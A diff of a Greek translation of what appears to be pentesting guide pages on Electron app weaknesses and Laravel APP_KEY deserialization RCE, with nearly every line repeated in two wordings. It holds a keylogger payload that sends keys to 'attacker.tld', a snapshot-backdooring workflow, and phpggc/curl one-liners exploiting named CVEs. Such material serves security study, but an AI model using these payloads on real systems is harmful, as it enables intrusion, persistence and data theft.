Σε περίπτωση που η **regex** που χρησιμοποιείται από τη συνάρτηση είναι **vulnerable to bypasses** (για παράδειγμα λόγω **not escaping the dots of subdomains**), ένας attacker θα μπορούσε να εκμεταλλευτεί το **XSS** για να **open a new window which** θα βρίσκεται στην υποδομή του attacker **asking for credentials** προς τον user:
Σε περίπτωση που το **regex** που χρησιμοποιείται από τη συνάρτηση είναι **ευάλωτο σε παρακάμψεις** (για παράδειγμα **μη διαφυγής των τελειών των υποτομέων**) ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί το XSS για να **ανοίξει ένα νέο παράθυρο το οποίο** θα βρισκόταν στην υποδομή του επιτιθέμενου **ζητώντας διαπιστευτήρια** από τον χρήστη:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -294,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
```
## `file://` Πρωτόκολλο
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) σελίδες που τρέχουν στο **`file://`** έχουν μονομερή πρόσβαση σε κάθε αρχείο του συστήματός σας, πράγμα που σημαίνει ότι τα **XSS issues** μπορούν να χρησιμοποιηθούν για να φορτώσουν αυθαίρετα αρχεία από το μηχάνημα του χρήστη. Η χρήση ενός **προσαρμοσμένου πρωτοκόλλου** αποτρέπει τέτοια προβλήματα, καθώς μπορείτε να περιορίσετε το πρωτόκολλο ώστε να εξυπηρετεί μόνο ένα συγκεκριμένο σύνολο αρχείων.
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) σελίδες που τρέχουν σε **`file://`** έχουν μονομερή πρόσβαση σε κάθε αρχείο στο μηχάνημά σας, πράγμα που σημαίνει ότι **XSS issues can be used to load arbitrary files from the users machine**. Η χρήση **προσαρμοσμένου πρωτοκόλλου** αποτρέπει προβλήματα όπως αυτό, καθώς μπορείτε να περιορίσετε το πρωτόκολλο ώστε να εξυπηρετεί μόνο ένα συγκεκριμένο σύνολο αρχείων.
## Remote module
The Electron Remote module επιτρέπει στις **renderer processes να έχουν πρόσβαση στα main process APIs**, διευκολύνοντας την επικοινωνία μέσα σε μια εφαρμογή Electron. Ωστόσο, η ενεργοποίηση αυτού του module εισάγει σημαντικούς κινδύνους ασφάλειας. Διευρύνει την attack surface της εφαρμογής, κάνοντάς την πιο επιρρεπή σε ευπάθειες όπως επιθέσεις cross-site scripting (XSS).
The Electron Remote module επιτρέπει τις **renderer processes to access main process APIs**, διευκολύνοντας την επικοινωνία εντός μιας εφαρμογής Electron. Ωστόσο, η ενεργοποίηση αυτού του module εισάγει σημαντικούς κινδύνους ασφάλειας. Αυξάνει την επιφάνεια επίθεσης της εφαρμογής, καθιστώντας την πιο επιρρεπή σε ευπάθειες όπως επιθέσεις cross-site scripting (XSS).
> [!TIP]
> Παρόλο που το **remote** module εκθέτει μερικά APIs από το main προς τα renderer processes, δεν είναι άμεσο να αποκτηθεί RCE απλώς εκμεταλλευόμενοι τα components. Ωστόσο, τα components μπορεί να εκθέτουν ευαίσθητες πληροφορίες.
> Παρότι το **remote** module εκθέτει κάποια APIs από το main προς τις renderer processes, δεν είναι απλό να επιτευχθεί RCE μόνο με την κατάχρηση των components. Ωστόσο, τα components μπορεί να αποκαλύπτουν ευαίσθητες πληροφορίες.
> [!WARNING]
> Πολλές εφαρμογές που ακόμα χρησιμοποιούν το remote module το κάνουν με τρόπο που **απαιτεί το NodeIntegration να είναι ενεργοποιημένο** στη renderer process, το οποίο αποτελεί **τεράστιο κίνδυνο ασφαλείας**.
> Πολλές εφαρμογές που εξακολουθούν να χρησιμοποιούν το remote module το κάνουν με τρόπο που απαιτούν το **NodeIntegration να είναι ενεργοποιημένο** στη renderer process, κάτι που αποτελεί **τεράστιο κίνδυνο ασφάλειας**.
Από το Electron 14, το `remote` module μπορεί να είναι ενεργοποιημένο με διάφορους τρόπους· για λόγους ασφάλειας και απόδοσης, **συνιστάται να μην το χρησιμοποιείτε**.
Από το Electron 14 και μετά, το `remote` module μπορεί να είναι ενεργοποιημένο με διάφορους τρόπους, αλλά για λόγους ασφάλειας και απόδοσης **συνιστάται να μην το χρησιμοποιείτε**.
Για να το ενεργοποιήσετε, πρώτα πρέπει να **το ενεργοποιήσετε στη main process**:
Για να το ενεργοποιήσετε, πρέπει πρώτα να **ενεργοποιηθεί στο main process**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -319,26 +320,26 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
Στη συνέχεια, η renderer process μπορεί να import objects από το module που θέλει:
Στη συνέχεια, η διεργασία renderer μπορεί να εισάγει αντικείμενα από το module που θέλει:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** υποδεικνύει μερικές ενδιαφέρουσες **functions** που εκτίθενται από το αντικείμενο **`app`** του remote module:
Το **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** αναφέρει κάποιες ενδιαφέρουσες **συναρτήσεις** που εκτίθενται από το αντικείμενο **`app`** του remote module:
- **`app.relaunch([options])`**
- **Επανεκκινεί** την εφαρμογή με το **κλείσιμο** της τρέχουσας παρουσίας και την **εκκίνηση** μίας νέας. Χρήσιμο για **ενημερώσεις της εφαρμογής** ή σημαντικές **αλλαγές κατάστασης**.
- **Επανακινεί** την εφαρμογή τερματίζοντας την τρέχουσα παρουσία και εκκινώντας μία καινούρια. Χρήσιμο για **ενημερώσεις εφαρμογής** ή σημαντικές **αλλαγές κατάστασης**.
- **`app.setAppLogsPath([path])`**
- **Ορίζει** ή **δημιουργεί** έναν κατάλογο για την αποθήκευση των **αρχείων καταγραφής της εφαρμογής**. Τα καταγραφικά μπορούν να **ανακτηθούν** ή να **τροποποιηθούν** χρησιμοποιώντας τις **`app.getPath()`** ή **`app.setPath(pathName, newPath)`**.
- **Ορίζει** ή **δημιουργεί** έναν φάκελο για αποθήκευση των **logs της εφαρμογής**. Τα logs μπορούν να **ανακτηθούν** ή να **τροποποιηθούν** χρησιμοποιώντας **`app.getPath()`** ή **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Καταχωρεί** το τρέχον εκτελέσιμο ως **προεπιλεγμένο χειριστή** για ένα συγκεκριμένο **πρωτόκολλο**. Μπορείτε να παρέχετε μια **προσαρμοσμένη διαδρομή** και **παραμέτρους** αν χρειάζεται.
- **`app.setUserTasks(tasks)``**
- **Προσθέτει** εργασίες στην **Tasks category** στο **Jump List** (σε Windows). Κάθε task μπορεί να ελέγχει πώς η εφαρμογή **εκκινείται** ή ποιες **παράμετροι** περνιούνται.
- **Καταχωρεί** το τρέχον εκτελέσιμο ως τον **προεπιλεγμένο χειριστή** για ένα συγκεκριμένο **πρωτόκολλο**. Μπορείτε να παρέχετε **προσαρμοσμένο μονοπάτι** και **ορίσματα** αν χρειαστεί.
- **`app.setUserTasks(tasks)`**
- **Προσθέτει** εργασίες στην κατηγορία **Tasks** στο **Jump List** (στα Windows). Κάθε εργασία μπορεί να ελέγχει πώς **εκκινείται** η εφαρμογή ή ποια **ορίσματα** περνιούνται.
- **`app.importCertificate(options, callback)`**
- **Εισάγει** ένα **PKCS#12 certificate** στην **αποθήκη πιστοποιητικών του συστήματος** (μόνο Linux). Ένα **callback** μπορεί να χρησιμοποιηθεί για να χειριστεί το αποτέλεσμα.
- **Εισάγει** ένα **PKCS#12 certificate** στο **certificate store** του συστήματος (μόνο Linux). Ένας **callback** μπορεί να χρησιμοποιηθεί για να χειριστεί το αποτέλεσμα.
- **`app.moveToApplicationsFolder([options])`**
- **Μετακινεί** την εφαρμογή στον **Applications folder** (σε macOS). Βοηθά να διασφαλιστεί μια **τυπική εγκατάσταση** για χρήστες Mac.
- **Μετακινεί** την εφαρμογή στο **Applications folder** (στο macOS). Βοηθά να εξασφαλιστεί μια **τυπική εγκατάσταση** για χρήστες Mac.
- **`app.setJumpList(categories)`**
- **Ορίζει** ή **αφαιρεί** μια **προσαρμοσμένη Jump List** στα **Windows**. Μπορείτε να καθορίσετε **κατηγορίες** για να οργανώσετε πώς οι εργασίες εμφανίζονται στον χρήστη.
- **Ορίζει** ή **αφαιρεί** ένα **προσαρμοσμένο Jump List** στα **Windows**. Μπορείτε να καθορίσετε **κατηγορίες** για να οργανώσετε πώς οι εργασίες εμφανίζονται στον χρήστη.
- **`app.setLoginItemSettings(settings)`**
- **Διαμορφώνει** ποια **εκτελέσιμα** εκκινούν κατά το **login** μαζί με τις **επιλογές** τους (μόνο macOS και Windows).
@ -347,9 +348,9 @@ Example:
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## μονάδα systemPreferences
## systemPreferences μονάδα
Το **κύριο API** για την πρόσβαση στις ρυθμίσεις συστήματος και την **εκπομπή συμβάντων συστήματος** στο Electron. Μέθοδοι όπως **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, και **setUserDefault** είναι όλες **μέρος** αυτής της μονάδας.
Το **κύριο API** για πρόσβαση στις προτιμήσεις συστήματος και **εκπομπή συμβάντων συστήματος** στο Electron. Μέθοδοι όπως **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, και **setUserDefault** είναι όλες **μέρος** αυτής της μονάδας.
**Παράδειγμα χρήσης:**
```javascript
@ -366,33 +367,33 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Ακούει** για **native macOS notifications** χρησιμοποιώντας NSDistributedNotificationCenter.
* Πριν από **macOS Catalina**, μπορούσατε να sniff **όλες** τις distributed notifications περνώντας **nil** στο CFNotificationCenterAddObserver.
* Μετά το **Catalina / Big Sur**, sandboxed apps μπορούν ακόμα να **subscribe** σε **πολλά events** (π.χ. **κλείδωμα/ξεκλείδωμα οθόνης**, **mounts δίσκων**, **δραστηριότητα δικτύου**, κ.λπ.) καταχωρίζοντας notifications **με όνομα**.
* **Ακούει** για **εγγενείς ειδοποιήσεις macOS** χρησιμοποιώντας NSDistributedNotificationCenter.
* Πριν από το **macOS Catalina**, μπορούσατε να sniff **όλες** τις διανεμημένες ειδοποιήσεις περνώντας **nil** στο CFNotificationCenterAddObserver.
* Μετά το **Catalina / Big Sur**, οι sandboxed εφαρμογές μπορούν ακόμα να **εγγραφούν** σε **πολλά συμβάντα** (π.χ. **κλείδωμα/ξεκλείδωμα οθόνης**, **mounts δίσκων**, **δραστηριότητα δικτύου**, κ.λπ.) καταχωρώντας ειδοποιήσεις **κατά όνομα**.
### **getUserDefault / setUserDefault**
* **Επικοινωνεί** με **NSUserDefaults**, το οποίο αποθηκεύει **προτιμήσεις** εφαρμογής ή σε επίπεδο συστήματος στο macOS.
* **Επικοινωνεί** με **NSUserDefaults**, που αποθηκεύει προτιμήσεις **εφαρμογής** ή **global** στο macOS.
* Το **getUserDefault** μπορεί να **ανακτήσει** ευαίσθητες πληροφορίες, όπως **πρόσφατες τοποθεσίες αρχείων** ή **γεωγραφική θέση του χρήστη**.
* Η **getUserDefault** μπορεί να **ανακτήσει** ευαίσθητες πληροφορίες, όπως **πρόσφατες τοποθεσίες αρχείων** ή **γεωγραφική τοποθεσία του χρήστη**.
* Το **setUserDefault** μπορεί να **τροποποιήσει** αυτές τις προτιμήσεις, ενδεχομένως επηρεάζοντας την **διαμόρφωση** μιας εφαρμογής.
* Η **setUserDefault** μπορεί να **τροποποιήσει** αυτές τις προτιμήσεις, επηρεάζοντας ενδεχομένως την **διαμόρφωση** μιας εφαρμογής.
* Σε **παλαιότερες εκδόσεις Electron** (πριν την v8.3.0), μόνο το **standard suite** του NSUserDefaults ήταν **προσβάσιμο**.
* Σε **παλαιότερες εκδόσεις του Electron** (πριν το v8.3.0), μόνο το **standard suite** των NSUserDefaults ήταν **προσβάσιμο**.
## Shell.showItemInFolder
Αυτή η συνάρτηση εμφανίζει το δοθέν αρχείο σε διαχειριστή αρχείων, ο οποίος **μπορεί να εκτελέσει αυτόματα το αρχείο**.
This function shows the given file in a file manager, which **could automatically execute the file**.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
Για περισσότερες πληροφορίες δείτε [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Οι εφαρμογές Electron θα πρέπει να έχουν μια **Content Security Policy (CSP)** για να **αποτρέπουν επιθέσεις XSS**. Το **CSP** είναι ένα **πρότυπο ασφάλειας** που βοηθά στην **αποτροπή** της **εκτέλεσης** **μη αξιόπιστου κώδικα** στον περιηγητή.
Οι εφαρμογές Electron θα πρέπει να έχουν μια **Content Security Policy (CSP)** για να **αποτρέπουν** XSS attacks. Η **CSP** είναι ένα **security standard** που βοηθά να **αποτρέπεται** η **εκτέλεση** **μη αξιόπιστου κώδικα** στον browser.
Συνήθως **διαμορφώνεται** στο αρχείο **`main.js`** ή στο template **`index.html`**, με την CSP μέσα σε **meta tag**.
Συνήθως **διαμορφώνεται** στο αρχείο **`main.js`** ή στο πρότυπο **`index.html`**, με την CSP μέσα σε ένα **meta tag**.
For more information check:
Για περισσότερες πληροφορίες δείτε:
{{#ref}}
@ -402,16 +403,16 @@ pentesting-web/content-security-policy-csp-bypass/
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) είναι ένα εργαλείο για την αναγνώριση λανθασμένων ρυθμίσεων και security anti-patterns σε εφαρμογές βασισμένες σε Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) είναι ένα open source VS Code plugin για εφαρμογές Electron που χρησιμοποιεί Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) για έλεγχο ευπαθών third-party βιβλιοθηκών
- [**Electronegativity**](https://github.com/doyensec/electronegativity) είναι ένα εργαλείο για να εντοπίζει misconfigurations και security anti-patterns σε εφαρμογές βασισμένες σε Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) είναι ένα open source plugin για VS Code για εφαρμογές Electron που χρησιμοποιεί Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) για έλεγχο ευάλωτων third party βιβλιοθηκών
- [**Electro.ng**](https://electro.ng/): Πρέπει να το αγοράσετε
## Labs
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) μπορείτε να βρείτε ένα εργαστήριο για να εκμεταλλευτείτε ευπαθείς εφαρμογές Electron.
Στο [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) θα βρείτε ένα lab για να εκμεταλλευτείτε ευάλωτες εφαρμογές Electron.
Μερικές εντολές που θα σας βοηθήσουν στο εργαστήριο:
Μερικές εντολές που θα σας βοηθήσουν με το lab:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -434,20 +435,20 @@ cd vulnerable1
npm install
npm start
```
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
## Τοπικό backdooring μέσω V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
Οι εφαρμογές βασισμένες σε Electron και Chromium deserialize ένα prebuilt V8 heap snapshot κατά την εκκίνηση (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) για να αρχικοποιήσουν κάθε V8 isolate (main, preload, renderer). Ιστορικά, τα integrity fuses του Electron δεν αντιμετώπιζαν αυτά τα snapshots ως executable content, οπότε διέφευγαν τόσο το fuse-based integrity enforcement όσο και τα OS code-signing checks. Ως αποτέλεσμα, η αντικατάσταση του snapshot σε μια user-writable εγκατάσταση παρείχε stealthy, persistent code execution μέσα στην εφαρμογή χωρίς να τροποποιηθούν τα signed binaries ή το ASAR.
Εφαρμογές βασισμένες σε Electron και Chromium απο-σειριαλοποιούν ένα prebuilt V8 heap snapshot κατά την εκκίνηση (v8_context_snapshot.bin, και προαιρετικά browser_v8_context_snapshot.bin) για να αρχικοποιήσουν κάθε V8 isolate (main, preload, renderer). Ιστορικά, τα integrity fuses του Electron δεν αντιμετώπιζαν αυτά τα snapshots ως executable content, οπότε διέφευγαν τόσο την επιβολή ακεραιότητας με βάση fuses όσο και τους OS code-signing ελέγχους. Ως αποτέλεσμα, η αντικατάσταση του snapshot σε εγκατάσταση με δυνατότητα εγγραφής από τον χρήστη παρείχε stealthy, persistent code execution μέσα στην εφαρμογή χωρίς να τροποποιηθούν τα signed binaries ή το ASAR.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, αλλά δεν κάλυπταν τα V8 heap snapshots (CVE-2025-55305). Το Chromium παρομοίως δεν κάνει integrity-check στα snapshots.
- Attack preconditions: Local file write στο installation directory της εφαρμογής. Αυτό είναι κοινό σε συστήματα όπου Electron apps ή Chromium browsers είναι εγκατεστημένα κάτω από user-writable paths (π.χ. %AppData%\Local στα Windows; /Applications με caveats στο macOS).
- Effect: Reliable execution of attacker JavaScript σε οποιοδήποτε isolate με το clobbering ενός συχνά χρησιμοποιούμενου builtin (ένα “gadget”), επιτρέποντας persistence και evasion της code-signing verification.
- Integrity gap: EnableEmbeddedAsarIntegrityValidation και OnlyLoadAppFromAsar επικυρώνουν το app JavaScript μέσα στο ASAR, αλλά δεν κάλυπταν τα V8 heap snapshots (CVE-2025-55305). Το Chromium αντίστοιχα δεν κάνει integrity-check στα snapshots.
- Attack preconditions: Τοπική εγγραφή αρχείου στο directory εγκατάστασης της εφαρμογής. Αυτό είναι κοινό σε συστήματα όπου Electron apps ή Chromium browsers εγκαθίστανται σε user-writable paths (π.χ. %AppData%\Local στα Windows; /Applications με caveats στο macOS).
- Effect: Αξιόπιστη εκτέλεση attacker JavaScript σε οποιοδήποτε isolate με το clobbering ενός συχνά χρησιμοποιούμενου builtin (ένα “gadget”), επιτρέποντας persistence και αποφυγή των code-signing ελέγχων.
- Affected surface: Electron apps (ακόμα και με fuses enabled) και Chromium-based browsers που φορτώνουν snapshots από user-writable locations.
Generating a malicious snapshot without building Chromium
- Χρησιμοποιήστε το prebuilt electron/mksnapshot για να compile ένα payload JS σε snapshot και να overwrite το application's v8_context_snapshot.bin.
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
Example minimal payload (prove execution by forcing a crash)
Παράδειγμα ελάχιστου payload (αποδείξτε την εκτέλεση προκαλώντας ένα crash)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
@ -461,11 +462,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (τρέξε διαφορετικό code στο main vs. renderer)
- Ανίχνευση main process: Node-only globals όπως process.pid, process.binding(), ή process.dlopen είναι παρόντα στο main process isolate.
- Ανίχνευση Browser/renderer: Browser-only globals όπως alert είναι διαθέσιμα όταν εκτελούνται σε document context.
Isolate-aware payload routing (εκτέλεση διαφορετικού κώδικα στο main έναντι του renderer)
- Ανίχνευση main process: Node-only globals όπως process.pid, process.binding(), ή process.dlopen υπάρχουν στο main process isolate.
- Ανίχνευση Browser/renderer: Browser-only globals όπως alert είναι διαθέσιμα όταν εκτελούνται σε περιβάλλον εγγράφου.
Παράδειγμα gadget που probes τις main-process Node capabilities μία φορά
Παράδειγμα gadget που διερευνά τις Node δυνατότητες της main process μία φορά
```js
const orig = Array.isArray;
@ -494,7 +495,7 @@ process.exit(0);
return orig(...arguments);
};
```
Renderer/browser-context PoC για κλοπή δεδομένων (π.χ., Slack)
Renderer/browser-context PoC κλοπής δεδομένων (π.χ., Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -518,26 +519,26 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
return orig(...arguments);
};
```
Ροή εργασίας χειριστή
1) Γράψτε payload.js που αντικαθιστά ένα κοινό builtin (π.χ., Array.isArray) και προαιρετικά κάνει branching ανά isolate.
Operator workflow
1) Γράψτε το payload.js που υποκαθιστά ένα κοινό builtin (π.χ., Array.isArray) και προαιρετικά διακλαδίζεται ανά isolate.
2) Build the snapshot without Chromium sources:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Overwrite the target applications snapshot file(s):
- v8_context_snapshot.bin (always used)
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
4) Launch the application; the gadget executes whenever the chosen builtin is used.
3) Επικαλύψτε τα snapshot αρχεία της στοχευόμενης εφαρμογής:
- v8_context_snapshot.bin (used πάντα)
- browser_v8_context_snapshot.bin (αν χρησιμοποιείται το LoadBrowserProcessSpecificV8Snapshot fuse)
4) Εκκινήστε την εφαρμογή· το gadget εκτελείται όποτε χρησιμοποιείται το επιλεγμένο builtin.
Σημειώσεις και παρατηρήσεις
- Bypass ακεραιότητας/υπογραφής: Τα snapshot αρχεία δεν θεωρούνται εγγενή εκτελέσιμα από τους ελέγχους code-signing και (ιστορικά) δεν καλύπτονταν από τα fuses του Electron ή τους μηχανισμούς integrity του Chromium.
- Persistence: Η αντικατάσταση του snapshot σε εγκατάσταση εγγράψιμη από τον χρήστη συνήθως επιβιώνει επανεκκινήσεις της εφαρμογής και μοιάζει με υπογεγραμμένη, νόμιμη εφαρμογή.
- Chromium browsers: Η ίδια έννοια παραποίησης εφαρμόζεται σε Chrome/derivatives που είναι εγκατεστημένα σε τοποθεσίες εγγράψιμες από τον χρήστη. Το Chrome έχει άλλα μέτρα ακεραιότητας αλλά ρητά εξαιρεί φυσικά τοπικές επιθέσεις από το threat model του.
Notes and considerations
- Integrity/signature bypass: Τα snapshot files δεν αντιμετωπίζονται ως native executables από τους ελέγχους code-signing και (ιστορικά) δεν καλύπτονταν από τα fuses του Electron ή τους μηχανισμούς ακεραιότητας του Chromium.
- Persistence: Η αντικατάσταση του snapshot σε εγκατάσταση εγγράψιμη από τον χρήστη συνήθως επιβιώνει επανεκκινήσεων της εφαρμογής και μοιάζει με υπογεγραμμένη, νόμιμη εφαρμογή.
- Chromium browsers: Η ίδια ιδέα παραποίησης εφαρμόζεται σε Chrome/derivatives που είναι εγκατεστημένα σε τοποθεσίες εγγράψιμες από τον χρήστη. Το Chrome διαθέτει άλλες μετρήσεις ακεραιότητας αλλά ρητά εξαιρεί τις physically local attacks από το threat model του.
Εντοπισμός και μετριασμοί
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
- Προτιμήστε τοποθεσίες εγκατάστασης που γράφονται μόνο από admin; καθορίστε baseline και παρακολουθείτε hashes για v8_context_snapshot.bin και browser_v8_context_snapshot.bin.
- Ανιχνεύστε early-runtime builtin clobbering και απροσδόκητες αλλαγές στα snapshot· ειδοποιήστε όταν οι deserialized snapshots δεν ταιριάζουν με τις αναμενόμενες τιμές.
Detection and mitigations
- Θεωρήστε τα snapshots ως εκτελέσιμο περιεχόμενο και συμπεριλάβετέ τα στην επιβολή ακεραιότητας (CVE-2025-55305 fix).
- Προτιμήστε τοποθεσίες εγκατάστασης εγγράψιμες μόνο από admin; καθορίστε baseline και παρακολουθείτε hashes για v8_context_snapshot.bin και browser_v8_context_snapshot.bin.
- Εντοπίστε early-runtime υποκατάσταση builtins και απρόσμενες αλλαγές στα snapshot; ειδοποιήστε όταν τα deserialized snapshots δεν ταιριάζουν με τις αναμενόμενες τιμές.
## **Αναφορές**
## **References**
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)

View File

@ -8,10 +8,10 @@
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
## APP_KEY & Εσωτερικά κρυπτογράφησης (Laravel \u003e=5.6)
Το Laravel χρησιμοποιεί AES-256-CBC (ή GCM) με HMAC για ακεραιότητα υπό το καπό (`Illuminate\\Encryption\\Encrypter`).
Το raw ciphertext που τελικά **αποστέλλεται στον client** είναι **Base64 ενός JSON αντικειμένου** όπως:
Το Laravel χρησιμοποιεί AES-256-CBC (ή GCM) με ακεραιότητα HMAC στο παρασκήνιο (`Illuminate\\Encryption\\Encrypter`).
Το ακατέργαστο κρυπτοκείμενο που τελικά **αποστέλλεται στον πελάτη** είναι **Base64 ενός αντικειμένου JSON** όπως:
```json
{
"iv" : "Base64(random 16-byte IV)",
@ -22,9 +22,9 @@
```
`encrypt($value, $serialize=true)` θα κάνει `serialize()` το plaintext από προεπιλογή, ενώ
`decrypt($payload, $unserialize=true)` **θα κάνει αυτόματα `unserialize()`** την αποκρυπτογραφημένη τιμή.
Επομένως **οποιοσδήποτε attacker που γνωρίζει το 32-byte secret `APP_KEY` μπορεί να κατασκευάσει ένα encrypted PHP serialized object και να αποκτήσει RCE μέσω magic methods (`__wakeup`, `__destruct`, …)**.
Επομένως **οποιοσδήποτε attacker που γνωρίζει το 32-byte secret `APP_KEY` μπορεί να craft ένα encrypted PHP serialized object και να αποκτήσει RCE μέσω magic methods (`__wakeup`, `__destruct`, …)**.
Ελάχιστο PoC (framework ≥9.x):
Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
@ -36,7 +36,7 @@ $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to past
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) αυτοματοποιεί όλη τη διαδικασία και προσθέτει μια βολική **bruteforce** λειτουργία:
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) αυτοματοποιεί όλη τη διαδικασία και προσθέτει μια βολική λειτουργία **bruteforce**:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
@ -47,25 +47,25 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
Το script υποστηρίζει διαφανώς τόσο CBC όσο και GCM payloads και επαναδημιουργεί το πεδίο HMAC/tag.
Το script υποστηρίζει διαφανώς payloads και για τα CBC και GCM και επαναδημιουργεί το πεδίο HMAC/tag.
---
## Πραγματικά ευάλωτα πρότυπα
## Πραγματικά ευπαθή μοτίβα
| Έργο | Ευάλωτο sink | Gadget chain |
| Έργο | Ευάλωτο sink | Αλυσίδα gadget |
|---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie όταν `Passport::withCookieSerialization()` είναι enabled | Laravel/RCE9 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` cookie | Laravel/RCE15 |
Η διαδικασία εκμετάλλευσης είναι πάντα:
1. Αποκτήστε ή brute-force το 32-byte `APP_KEY`.
2. Κατασκευάστε ένα gadget chain με **PHPGGC** (για παράδειγμα `Laravel/RCE13`, `Laravel/RCE9` ή `Laravel/RCE15`).
3. Κρυπτογραφήστε το σειριοποιημένο gadget με **laravel_crypto_killer.py** και το ανακτημένο `APP_KEY`.
4. Παραδώστε το ciphertext στο ευάλωτο `decrypt()` sink (route parameter, cookie, session …) για να ενεργοποιήσετε **RCE**.
Η ροή εκμετάλλευσης είναι πάντα:
1. Εξασφαλίστε ή δοκιμάστε με brute-force το 32-byte `APP_KEY`.
2. Δημιουργήστε μια αλυσίδα gadget με **PHPGGC** (π.χ. `Laravel/RCE13`, `Laravel/RCE9` ή `Laravel/RCE15`).
3. Κρυπτογραφήστε το σειριοποιημένο gadget με **laravel_crypto_killer.py** και το ανακτηθέν `APP_KEY`.
4. Παραδώστε το ciphertext στον ευάλωτο `decrypt()` sink (παράμετρος route, cookie, session …) για να προκαλέσετε **RCE**.
Παρακάτω υπάρχουν συνοπτικά one-liners που δείχνουν την πλήρη διαδρομή επίθεσης για κάθε πραγματικό CVE που αναφέρθηκε παραπάνω:
Παρακάτω υπάρχουν συνοπτικά one-liners που δείχνουν ολόκληρη τη διαδρομή επίθεσης για κάθε πραγματικό CVE που αναφέρθηκε παραπάνω:
```bash
# Invoice Ninja ≤5 /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
@ -82,38 +82,38 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
```
## Mass APP_KEY discovery via cookie brute-force
## Μαζική ανακάλυψη APP_KEY μέσω cookie brute-force
Επειδή κάθε νέα Laravel απόκριση ορίζει τουλάχιστον 1 κρυπτογραφημένο cookie (`XSRF-TOKEN` και συνήθως `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** τα οποία μπορούν να επιτεθούν offline.
